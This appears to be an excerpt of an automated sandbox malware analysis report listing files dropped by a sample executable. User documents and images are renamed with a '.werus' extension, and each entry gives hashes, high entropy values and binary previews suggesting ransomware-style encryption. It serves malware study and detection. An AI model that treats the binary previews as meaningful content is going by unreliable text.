Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EWZCVGNOWT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815732990822623
Encrypted:	false
SSDEEP:	24:oqFkXrBkgsYFANgkZhCnSQVdgV8sdKORhbimGb:oOm2gsBNd3QV0Prbij
MD5:	26B8E50814239A6FFE212DDB0F07ACF6
SHA1:	369818435AAD622D49A150ACA2C31D842A9F933E
SHA-256:	1BB7FC240AE092410B24AEA411646F284930B6E10313DAC576ACC28DF361891A
SHA-512:	8DFB4C9BFBE98A23465EAD03D24D7493DF0F7552F580EB26D0E3436C8F37B2AE535B25C3BFDC3294BBF5F0E92F8697D077A4DF4E163C15A179565ADE7DCFCA7E
Malicious:	false
Preview:	/k.!\..!3...F......}........,]....g.L...y.8....M.<?%2PR.a.B.&T....^....`=.=.9z^6...B..].....U.b..x...$...r.m.'e4.......i..B....-9..Q........A+Z.?;u....y.9.N...<v.`.8....[...#H...E...3.)..%ma.e..7....XAt..T.G...K+Z..y.BO.E-bq......7 bwg.XK6...Li#.f.h.....`.#>M6._...V.R.../J/.W.C... /.uI..$..]...{m..5h......:+.8...].eB4kR..ob...5......q..w...>...........[....?[....:.......X..1..52......#.4.n <......<FQ6.O...2.....j..>U"....%b{k..]......[.......~..O..qk......B..":..=.......==..U.k..\.gs)..-..G......P...4..Lg.;.........dY..T.....0..J..Oz[..Y..cK..<....i....a..Le.v..^}4..)..0...BkYtTNB..X.ER..d.501.e.PwO..&!.6.l5...I.....Q.X`....jWs-X......fG..y'aA..Y...^..c.V..Mh......{.....T...0{`..w.J.....py$.h.J..:N...>.Vl.[3h.X......oi..!.....Y ,8....`..dU...g...KX.^..}.Z.Q.^..lK....Z.K..K..'.R..}..s...:.fU..-..j7....Y,c,....\|q\|6Y....Xk3..........l#...g^.u-!....c.....4......].=..:.3....SNV....%S.z?.^..kB.D.#...G......../.K.C..(/..ei&\|.?...:....h

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815732990822623
Encrypted:	false
SSDEEP:	24:oqFkXrBkgsYFANgkZhCnSQVdgV8sdKORhbimGb:oOm2gsBNd3QV0Prbij
MD5:	26B8E50814239A6FFE212DDB0F07ACF6
SHA1:	369818435AAD622D49A150ACA2C31D842A9F933E
SHA-256:	1BB7FC240AE092410B24AEA411646F284930B6E10313DAC576ACC28DF361891A
SHA-512:	8DFB4C9BFBE98A23465EAD03D24D7493DF0F7552F580EB26D0E3436C8F37B2AE535B25C3BFDC3294BBF5F0E92F8697D077A4DF4E163C15A179565ADE7DCFCA7E
Malicious:	false
Preview:	/k.!\..!3...F......}........,]....g.L...y.8....M.<?%2PR.a.B.&T....^....`=.=.9z^6...B..].....U.b..x...$...r.m.'e4.......i..B....-9..Q........A+Z.?;u....y.9.N...<v.`.8....[...#H...E...3.)..%ma.e..7....XAt..T.G...K+Z..y.BO.E-bq......7 bwg.XK6...Li#.f.h.....`.#>M6._...V.R.../J/.W.C... /.uI..$..]...{m..5h......:+.8...].eB4kR..ob...5......q..w...>...........[....?[....:.......X..1..52......#.4.n <......<FQ6.O...2.....j..>U"....%b{k..]......[.......~..O..qk......B..":..=.......==..U.k..\.gs)..-..G......P...4..Lg.;.........dY..T.....0..J..Oz[..Y..cK..<....i....a..Le.v..^}4..)..0...BkYtTNB..X.ER..d.501.e.PwO..&!.6.l5...I.....Q.X`....jWs-X......fG..y'aA..Y...^..c.V..Mh......{.....T...0{`..w.J.....py$.h.J..:N...>.Vl.[3h.X......oi..!.....Y ,8....`..dU...g...KX.^..}.Z.Q.^..lK....Z.K..K..'.R..}..s...:.fU..-..j7....Y,c,....\|q\|6Y....Xk3..........l#...g^.u-!....c.....4......].=..:.3....SNV....%S.z?.^..kB.D.#...G......../.K.C..(/..ei&\|.?...:....h

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.844326187672133
Encrypted:	false
SSDEEP:	24:N0WcPSPcnCIvN3Z0KAvcJxS8rDAogzWsq/6eG/O1A60wspYxrfV:WP8SN36XvYEoCWfqYA60VI
MD5:	2B794A3B87F1D2D9929712C391D7FF89
SHA1:	524F9C17EBBA80671A5DB7C26F01254CC48B245C
SHA-256:	3D324E968BB6605C81C234A3326B68D4226B742A88044EE28D8A9448DEDD195A
SHA-512:	77CB3BB39E49C59E583F33C4230E3B037E2B854F75CC9D7DA29E1999BB06B8A9FDB25D7CF05A15A8D21C2BE497407C6F09D7EEC9878D16A1C8B5E45C0AB14190
Malicious:	false
Preview:	....1!..j.Zi..<...q.=.J70.X.?a.... ~._..s.b.^....R)..0.fp.P;.Y..s...0ZR..b.k/.v...q..t......w..BB.H.3@mT..7.$....O....c^.`.>.N@Z..,.....w..i.{........I..@....k.H1.)1...0~.....jy5.......8..AE.T~......-..I$8.q..{ ..._...p_.P@7L.Nn.0q....P.%l...l.G.+.0.._NV..jz..f%].U.(.Q..Zv-.9.....f...x?.z.<W.}......;\|......e....>..^a...M...4!"....X..........(...Q$M......Y..../f.$...'.f...Ll...M..-L..F...../..Q6..V....@.V......$..l...?@...\.s...xa..@.4....+rQ..fE..V?....(....Hr..p.r,0(z.4..t.Tx...!J.......opS..vyf../..>(h.<O....Wj.....-..#...1.. d....zj#.e^...s}~S....L.s...n.....a..}w.)...b.0r.....t.a"O.. .UDs..8W....c..T...w....<...]C3...G..U.T.?.mjY.B..q.w..Ac.G..../.]...u..z..!u....x...])KM"!^...!....&..J..D... ...2+Q.C(...m..O!...}\..3.....ur.v.z,5vG\.o.qJ..@..!].o.>Z.$h..@..wo.L...~s.g(k....Xz....J>.....5H.$4......e...J<.s9..%0.P.....y..dw..@......SF...t.I........%@4$... .".b4.l.M...U=.f...kPYr.T.....k.Z>......O.u. ..!_c.......T...]1...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GJBHWQDROJ.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.814211623807726
Encrypted:	false
SSDEEP:	24:BmYpPs9oJIIc874hVksHTCz4h14kdi1FHihU97TMCO/i7XjT:Bm1ogGCTCz4hrU3iWzb/
MD5:	47FD977C57C028CDF09EABC113386729
SHA1:	F97661F686B4A833B11B7C6985A6DB6CD7C2473E
SHA-256:	06088DB8ACE7826BE838B86C16B8D84EC783645EE08B0340D500460FCE222688
SHA-512:	4B8322DF3F0E1B848C50781019BB318AA106935B08CF70D9C4A8901DC98C464A25046A475B326B0F6B758EB4147FB4DF873CFEC57580510B22B3843E09941021
Malicious:	false
Preview:	YvsX....oJ.B..I.K....K..).0jA....._......g....Q.EF...!..>.P........A..G9ge......$.6K/.E.z.\|@..5.F.7....L.$.#B.u....YH5.H..Fb.N...v...Ud.....S.....K.....;.0.....9....,h1..dn.3.X@....n.IAVq..J.....8.Z.ok@.2...k.....,\....[.gRj......9..TX.F.A,..!ytcUION..Kj...n..#.Zhr...(.Ya..u..}..~....E..B.#.....gL..I.^.=..Io%.q...t...y......w...:u\.BG........._..J..$...=.ZH/v./.....&....N>..x`3.m..Q1A..... {....)..?,.S......r..........,.8&..0W..._..m.............>wk_.C..E.......{"..^u...C..b...J.........wm..q..@=l....Z.>.#E-.O...........4#.Z.J....{.k...S.I...k.....}..{....Q.4#X.-.9 .....NS.\|i...P....'..`..v......)..Lj..kL..J..y..Z.....a.tp2...\>.Q.C.......NY<.PF.p..c....P.R.&P\...()......^A.}.VF.k.^...#...%.....Z..O.\|.... ..%'.....QV^{..?W.s.9.......lFM.n8..x......'....#C....r...D...L._r....hR....E.8........P.T.n.*.E....=..D.....?/ot..R..}..K.......'.......pIa.).e.c{=..4.'A.Zh.%..q.%..'....'.i.ZI..t.=..+7....=..cb..'......S...........$.Z..5Q9.SGm}.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HHWFPWGUPQ.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.769577140142737
Encrypted:	false
SSDEEP:	24:vs51kCD23ywifT754XWJ9avTY99zVT1NUr802NRc9G55YOt:UoCDpPaXWJUrY9vK80qF55Rt
MD5:	676ADFD6A171667DF07E3B3781B5CFD4
SHA1:	59FD8F5ED0759AE20F6498E456822A8504E2C344
SHA-256:	39A16C48F04A62F658772ABD0D77A42C531ABA14C20D4A89B16C3E4E7EE34511
SHA-512:	D547CD0ED48989E0CE034A714390A4CE25D90DC612A186E4FFAD77EBDE10D09BD0AD6D4F74103840A8C436D1B1B4CC187760056BC190A7E452C4CC352B49C306
Malicious:	false
Preview:	..z.U.O..>...b.....>...VD/.....M.......9.X}k.N......m.(..?..aX...zHL:.,.I....d..M...>.d3...6.K.W!J.......`'rV....S.....6..Zm.....=BNQ...Q....`...^.\|1..........K......4H.i.....y.F.3..e..T:o...n...R.).K...g<.K..^.+...r.......z........h~.......H......SB....4)9.6...P....Z....r..U./a.s@..p-..d.........g.P......\#Fo... .Wv...^M.P...f.f....#@\|.a.N..F.}.q...V.E.Zvdg..LC.....G..V.o....W.....?(r.w8N ......Ou,.5....Q]..e...B:Wu....`.!UN.L.4?.A.yZ.....W.K.a._?\H.e...RUb........[s.(..<....dG..P.?)..........>..(v.R.......]...].QU....5.y.J.+hr.v.)@..s.H..}.3...d.D.Z.v.}..,.e.O..!x..EH..E. D}5z.....Z....)...4.Y.......,..........V R..Zd........6)...Q6..k...2cp.f..M.V...Z...++ 3....7V.V..Xm1.E...l.,.&..dF.ula...q.....Q.Si}..o.J.....:(...i..xXW.t...[.M!..$....+abo.,5.<h.#...\.M.'..)....=..w.[=V....g)....a..5.[(>.l..+.P...NC......L.]....B.<B.....(U.'j....=.P..mT.e.!.>.eic-0i"h..Y.7.%.0..t.i.....@B<.h...N..........V..].v....V..$.gd.....6.]......g.=.V.'.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.817145366182358
Encrypted:	false
SSDEEP:	24:ybobkezNXcXSLz2lPvcx9TKV7O6D8mpZhwLG5wfAqu5Ma33wt:nkeJsXSeA9S7O6DplwwwYq+HE
MD5:	C21BEC6E0E58720A5ED52A3B26FA60D3
SHA1:	1CCBC0D74D16717779906F1CE2DA785A7BA83EFA
SHA-256:	25A04B97B0275243554B1D8BC86971CC241E8C8F6FAB6BC92AE14E2711AC28BD
SHA-512:	3FDD4C09BCB24A04D281946EB06362F0F350B9D6A82FBB67EAAF0F47CB0C21314E7651EAFB1B7EC9953B32C2D06F599BB48DEF0E303FF0BBDCEEA5CC29C6728E
Malicious:	false
Preview:	..\|........&...{+\..'.!..Iu.I...:.e7.y[4qs.....i.;}.E.J{.....m.A.."l.D.g.....vt...z.3.r!..o..................)..G..8..N..<.T).#C...r...W..c..lQ.....~>....5\|.K...../.P...o..s. ...{rALT!..3`.......Al..$4..y..j.8j\5.f.='3to.kS....x4.!0.'?..([.+u...4y.-.h...e..B..A.9.....Q...U..\..a.....7,.]r...Q..GbD.....8.op.2.T..A.;V[...i.Wr.H....I>O2.c.5...i.p.]r.S....a....>J_..~T....ic....o:.;...P..P9".>....od.ZK...o....U.l+...i.%...8...YxiK.T.....WS ..$...sn..4r..1.<.c.BCpX....X.......GZ.q..[.@...x...Hj78e.\.4.0:.a..F.}V1..t#...VY..a.-}._~6.....Z.I.\|8...a<.x.s..o.%yh...!.y..{.$[.%.j...\O.>QF.t..8.'..` -.X...Dr^BW.\X.....@H.\|rsh......t.k'..V...."..::...o.=...b..(W..u......;..5.k..[.,...{.."...6...+?..m..@...,.C3.hA\._..m.}.E...\.J2....a./..;.....{.[....Y.S.B...U%D.Q.+..E..w..+.7 k.c.~<]...4.&......L)6.KH._...$..W....;...g..n$2x....<._dY,...]w.e1q./s...'O.........'...^..#I;=..5K.V..C..3.~....,Z}.0..;e.....]~K.]>.29.....s.;.O.#.A..o.2.S. ..,...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IZMFBFKMEB.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.817145366182358
Encrypted:	false
SSDEEP:	24:ybobkezNXcXSLz2lPvcx9TKV7O6D8mpZhwLG5wfAqu5Ma33wt:nkeJsXSeA9S7O6DplwwwYq+HE
MD5:	C21BEC6E0E58720A5ED52A3B26FA60D3
SHA1:	1CCBC0D74D16717779906F1CE2DA785A7BA83EFA
SHA-256:	25A04B97B0275243554B1D8BC86971CC241E8C8F6FAB6BC92AE14E2711AC28BD
SHA-512:	3FDD4C09BCB24A04D281946EB06362F0F350B9D6A82FBB67EAAF0F47CB0C21314E7651EAFB1B7EC9953B32C2D06F599BB48DEF0E303FF0BBDCEEA5CC29C6728E
Malicious:	false
Preview:	..\|........&...{+\..'.!..Iu.I...:.e7.y[4qs.....i.;}.E.J{.....m.A.."l.D.g.....vt...z.3.r!..o..................)..G..8..N..<.T).#C...r...W..c..lQ.....~>....5\|.K...../.P...o..s. ...{rALT!..3`.......Al..$4..y..j.8j\5.f.='3to.kS....x4.!0.'?..([.+u...4y.-.h...e..B..A.9.....Q...U..\..a.....7,.]r...Q..GbD.....8.op.2.T..A.;V[...i.Wr.H....I>O2.c.5...i.p.]r.S....a....>J_..~T....ic....o:.;...P..P9".>....od.ZK...o....U.l+...i.%...8...YxiK.T.....WS ..$...sn..4r..1.<.c.BCpX....X.......GZ.q..[.@...x...Hj78e.\.4.0:.a..F.}V1..t#...VY..a.-}._~6.....Z.I.\|8...a<.x.s..o.%yh...!.y..{.$[.%.j...\O.>QF.t..8.'..` -.X...Dr^BW.\X.....@H.\|rsh......t.k'..V...."..::...o.=...b..(W..u......;..5.k..[.,...{.."...6...+?..m..@...,.C3.hA\._..m.}.E...\.J2....a./..;.....{.[....Y.S.B...U%D.Q.+..E..w..+.7 k.c.~<]...4.&......L)6.KH._...$..W....;...g..n$2x....<._dY,...]w.e1q./s...'O.........'...^..#I;=..5K.V..C..3.~....,Z}.0..;e.....]~K.]>.29.....s.;.O.#.A..o.2.S. ..,...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JJLYAVPJZB.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.825125429886191
Encrypted:	false
SSDEEP:	24:xkTOd92OCqx4ZLyu1UPmg/w7DDIAd02wHglSIRHX:GTOd95CPQeqOYAq2TtX
MD5:	C41365E837FC7321125BF560AD55E889
SHA1:	BA642E24EC58F73EDFFE9636E9F80C57D00A5BFF
SHA-256:	DCBEDB38032E82AE5CB34B0D74A35D1DDF6C21F659D4233CFF026741C27ADED8
SHA-512:	4B87D898FFC3E00BEDF07493CD0FC1A283B52B0CC46C2ED024C831AE151EB62E8DFD6180D9097CDFABDD4F2F16E1DB8329B7A67670C63D98F96A42D740E92153
Malicious:	false
Preview:	G.B..}..n.!..F.b.`.-.0.%......\|....p.7..].c.TD,KX+../.i...GZ$...b.... ...C.$k......0..GE.c...3.....tXn~..A...)...>/,.=....7{q7.}.......g5.7@......z...m8.YE&N.3<......qb.#....As.J_..q..6C-/&MS...q.YG.2sV...y...W..q S...^.DRg..m.3.....`c.#.G.7.:...$...9.m.."..&..}{.z..d..r..Ge.lc......;.=9.XM.D...R.i._g....Y.".....4~..R.\M....)>.............>......K..R"....d+:...Uq..~m{.M..{^6....lyH...........\!..k.}Vw..p.....j-..5..Y.=....A........#)]X..a...R.(..........\|.a9..c!9.1.5...a4...G.!x~.E..MWC...:a.}zI[..D..$Z.w..fo.2.WV.l....+..A>.B6yb....-'.?..w\|.......h.".w.6.K.....u..\| L..X.H..(.u.N..}.......VO.Xo`vj.j..$..P.x....."._.s&.5.>....3O.18.8.X.^..'..b...1.:.....o..,.?.l.l.H....^......p..R....5\.Wo.E%8T...3H..9.$e\.8.......:.j.&....K....A.V.d..........G.\|.1.....o.#.O...}P.U............G.L~...^E...iS.oK..'..=)...2e...%Y.A8..gII....n....m..{.a_..:..bci.O..5..!.qL.mI.(.w..M...\a.....ZEy...(.v....\|.*.../ir.`...U....f....>(......T=.ey...\|...2..Te.x.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MNKQCGFJDG.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.817402952019084
Encrypted:	false
SSDEEP:	24:9leE7BpL8mWN7A8tduObMuv3HWq5k5crPuqfj:nF/W1AAdr+4wcbh7
MD5:	73ADE1359C5D7E8A6B9CA55DD34D1C8A
SHA1:	5F49F41D587D5EFB5096C38FCF3C5C56CDA46C2A
SHA-256:	95018927871F4C4D3639D094076AAA2067539BBE0ABFAF60655CDDAED692C9DD
SHA-512:	03024876D5EB7776554174B34D1E26BED3E6289A76E869D91B26AB8F10E5F2E81AD26BE67800CF8CF6AA14150D9D6FEEE3B049146F29088BDAB5A850BDE74E71
Malicious:	false
Preview:	......&......Oa..&)4u....O.p.[...K.i....\..k'..6.y...W.>^.......n....)`8..qu..-.[ ...=..q..z.}....%g7pm..I1.<....yM.+7...T[..r..Z#(.}...G..q.`...G.{.._...u.#..t..X....._.F..S..:.K^...0d.R..yF..c..2.4c...1E.)........K .NH\|.+.lUj.q-.WT.....q.2..'.o.....??R(d.D..@.k......4P.=....J..t..-o.0..5P.7$.%..i...Sn.:D...."/$}..N...K..9...>...87G,.F^.s........<"...\|...2FKa.<..)..j....`.z..a6J.N#..n.J....=.e}.~..n8..A..+..j.q[\...p.@......(]RW.9q.B..v9..`...D.a.Z...I.....3\..`W.(....3Iv. .Q.=......\|...i..\|a%..F...z.3k.2....X......{...uv.V..6c.,..I.Q.J.......D&.;.HF.........(.......3.....0..c.\|E.y....F......{4.t.&H...pNA........-a..0s&..}j9^.Ni&E.......eU..R.g........6.V....._.4.A.9W.f.. .zg...9...j...Z...m.3..W.."..6....5.VG.SP..... ...(....6.(.M.....3jA.:...u./;.......I#.j.;.....f..0.^.......~.L...`...b....(.h.Z.P..!H.3<kc.......Y8...i!2..%.\|....S}[.;......y7..Za.0.......r....V(be<.......O...(/(Bc..hlu..w..5...JsF.....#}.._.}...p.9...E!@'..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.807938069631537
Encrypted:	false
SSDEEP:	24:h//cumcylhk2NIM0YHC9Vng+I3C1gSx3RsHR:5UumVQ2Nj7HC9Vg81Hsx
MD5:	E14C0B8329D4A99EE0B6A9055C4175B5
SHA1:	BCF38583620B915FDE3ED6EDA2ADBEA0C3AC63CA
SHA-256:	6172CC42D84C8E6995CE919F3414BEBD39FA9AB8474B68E880E975B7FF074194
SHA-512:	C8315AC1E30C952FDBE7A81F863288C92FF74851FFF01F83109F36CEEB0B10D80AACBEB2F378BC0B49E5D12705E1AB07C0173814888FE6643B5264C6F750AD01
Malicious:	false
Preview:	....m...>..].@l."..:...r+....e@.1J=3..D.../l[... /C.\.......w...^.......@%.Y.-`.rX...=.......f..5..7....\|..\.'....-...2.d.a:.B.gv.I...s./...........h.s... O.}B.p/...(B..yd....)b.T-...ydC...{.}`zM...A.0...LL..l..<+.m0.c.....D...#.[ .\|>.........D.gJ..u}0o0..........z.d.b.(Q....;..M;.?S.'b........i.O.J.....^.....N.9.%..-5....aX..B.K.[e...(..{..zH.U.#.b....5..xn..'.......<'.y.<2.8=..&K...'.....HLLLG.....E.....7..K..!.33.m.g.0<...e.......m-.n..vV/..t8.8G...b.........q....P..=...D'..xRk~.=.~.\v..1..2.}gO..n.;E.t..Z/]..Y.....?...t.SA..\|...D.SB.N.iq...f]...bx..d....X.y..z..e...........~d...>...cx...6......]@../nDTJ.C.H.I.O..[YB..\|XT.ZA.y.Y..3..K..".=.....3>... _.,....(`.I^P3+...\|.gc<..~..zg........@w..8.q.......YZ.........?.V.SaL+h........\m..]=.....4....c......=..K..;....U..-...p...Y.yj..JFx....AJ.i1N..-.r_)...J.....>L._../.lw0..r..[2.>..h..-oQn........?.. .&q...h....U..a.@.......d...1.J`k..E...M.m.....K......G...Hx.@....B.%..Q^*.L.3-T}...@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
